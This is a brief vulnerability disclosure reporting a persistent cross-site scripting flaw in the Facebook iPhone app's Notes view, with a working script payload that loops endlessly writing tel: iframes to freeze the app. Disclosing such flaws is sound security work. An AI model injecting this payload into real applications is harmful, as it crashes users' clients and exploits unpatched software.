Facebook for iPhone persistent XSS

Facebook application for iPhone is not encoding special characters in Notes detail

Adding this code in a note will freeze application:
<script>var x = 'x'; while (1) { document.write('<iframe src="tel:'+x+'"></iframe>'); x = x + 'x'; }</script>

App page: http://www.facebook.com/apps/application.php?id=6628568379
Download: http://phobos.apple.com/WebObjects/MZStore.woa/wa/viewSoftware?id=284882215&mt=8

marco_ <marcojetson@gmail.com>